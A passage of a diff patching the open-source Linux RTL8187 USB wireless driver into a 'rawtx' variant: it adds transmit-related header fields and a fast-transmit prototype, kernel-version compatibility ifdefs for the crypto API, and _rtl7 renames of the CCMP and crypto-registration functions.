*)ieee80211_priv(dev); - - down(&priv->wx_sem); - - struct iwreq *wrq = (struct iwreq *)rq; - - int ret=-1; - switch (cmd) { - case RTL_IOCTL_WPA_SUPPLICANT: - ret = ieee80211_wpa_supplicant_ioctl(priv->ieee80211, &wrq->u.data); - break; - - default: - ret = -EOPNOTSUPP; - break; - } - - up(&priv->wx_sem); - - return ret; -} - - -void rtl8180_irq_rx_tasklet(struct r8180_priv *priv) -{ - struct urb *rx_urb = priv->rxurb_task; - struct net_device *dev = (struct net_device*)rx_urb->context; - int status,len,flen; - struct sk_buff *skb; - u32 *desc; - - //DMESG("rtl8187_rx_isr"); - - struct ieee80211_rx_stats stats = { - .signal = 0, - .noise = -98, - .rate = 0, - // .mac_time = jiffies, - .freq = IEEE80211_24GHZ_BAND, - }; - - //DMESG("RX %d ",rx_urb->status); - status = rx_urb->status; - if(status == 0){ - - len = rx_urb->actual_length; - // len = len - 4 - 15 - 1; /* CRC, DESC, SEPARATOR*/ - len -= 4*4;/* 4 dword and 4 byte CRC */ - - desc = (u32*)(rx_urb->transfer_buffer + len); - - flen = desc[0] & 0xfff; - - if( flen <= rx_urb->actual_length){ - - stats.signal = (desc[1] & 0x7f00)>>8; - stats.noise = desc[1] &0xff; - stats.rate = desc[0] >> 20 & 0xf; - stats.mac_time[0] = desc[2]; - stats.mac_time[1] = desc[3]; - skb = dev_alloc_skb(flen-4); - //skb_reserve(skb,2); - if(skb){ - memcpy(skb_put(skb,flen-4), - rx_urb->transfer_buffer,flen -4); - - #ifdef DUMP_RX - int i; - for(i=0;itransfer_buffer))[i]); - printk("------RATE %x:w---------------\n",stats.rate); - - #endif - priv->stats.rxok++; - // priv->rxskb = skb; - // priv->tempstats = &stats; - - if(!ieee80211_rx(priv->ieee80211, - skb, &stats)) - dev_kfree_skb_any(skb); - } - }else priv->stats.rxurberr++; - }else{ - priv->stats.rxstaterr++; - priv->ieee80211->stats.rx_errors++; - - } - - if(status != -ENOENT)rtl8187_rx_urbsubmit(dev,rx_urb); - else DMESG("RX process aborted due to explicit shutdown"); -} - -/**************************************************************************** - ---------------------------- USB_STUFF--------------------------- -*****************************************************************************/ - - -static int __devinit rtl8187_usb_probe(struct usb_interface *intf, - const struct usb_device_id *id) -{ -// unsigned long ioaddr = 0; - struct net_device *dev = NULL; - struct r8180_priv *priv= NULL; - struct usb_device *udev = interface_to_usbdev(intf); - -//printk("===> rtl8187_usb_probe()\n"); - - dev = alloc_ieee80211(sizeof(struct r8180_priv)); - - SET_MODULE_OWNER(dev); - usb_set_intfdata(intf, dev); - - SET_NETDEV_DEV(dev, &intf->dev); - - priv = ieee80211_priv(dev); - priv->ieee80211 = netdev_priv(dev); - - priv->udev=udev; - - dev->open = rtl8180_open; - dev->stop = rtl8180_close; - //dev->hard_start_xmit = rtl8180_8023_hard_start_xmit; - dev->tx_timeout = tx_timeout; - dev->wireless_handlers = &r8180_wx_handlers_def; - dev->do_ioctl = rtl8180_ioctl; - dev->set_multicast_list = r8180_set_multicast; - dev->set_mac_address = r8180_set_mac_adr; - dev->get_wireless_stats = r8180_get_wireless_stats; - dev->type=ARPHRD_ETHER; - - if (dev_alloc_name(dev, ifname) < 0){ - DMESG("Oops: devname already taken! Trying wlan%%d...\n"); - ifname = "wlan%d"; - dev_alloc_name(dev, ifname); - } - -// dev->open=rtl8180_init; - - if(rtl8180_init(dev)!=0){ - DMESG("Initialization failed"); - goto fail; - } - - netif_carrier_off(dev); - netif_stop_queue(dev); - - register_netdev(dev); - - rtl8180_proc_init_one(dev); - - - DMESG("Driver probe completed\n"); - return 0; - - -fail: - free_ieee80211(dev); - - DMESG("wlan driver load failed\n"); - - return -ENODEV; - -} - - -static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf) -{ - struct r8180_priv *priv; - struct net_device *dev = usb_get_intfdata(intf); - if(dev){ - - unregister_netdev(dev); - - priv=ieee80211_priv(dev); - - rtl8180_proc_remove_one(dev); - - rtl8180_down(dev); - priv->rf_close(dev); - //rtl8180_rtx_disable(dev); - rtl8187_usb_deleteendpoints(dev); - rtl8180_irq_disable(dev); - rtl8180_reset(dev); - mdelay(10); - - } -// pci_disable_device(pdev); - free_ieee80211(dev); - DMESG("wlan driver removed\n"); -} - - -static int __init rtl8187_usb_module_init(void) -{ - printk(KERN_INFO "\nLinux kernel driver for RTL8187 \ -based WLAN cards\n"); - printk(KERN_INFO "Copyright (c) 2004-2005, Andrea Merello\n"); - DMESG("Initializing module"); - DMESG("Wireless extensions version %d", WIRELESS_EXT); - rtl8180_proc_module_init(); - return usb_register(&rtl8187_usb_driver); -} - - -static void __exit rtl8187_usb_module_exit(void) -{ - usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h 2006-06-06 02:48:10.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-08-12 13:11:32.000000000 -0400 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,18 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + short highpower; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +168,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +181,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +235,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +249,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/r8187.h~ 2006-06-05 22:58:02.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ 1969-12-31 19:00:00.000000000 -0500 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006_orig/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006_orig/beta-8187/.tmp_versions/r8187.mod 2006-06-22 01:40:15.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod 2008-08-12 13:11:32.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt.c 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-08-12 13:11:32.000000000 -0400 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_crypt_ccmp.c 2006-06-05 22:58:00.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-08-12 13:11:32.000000000 -0400 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / 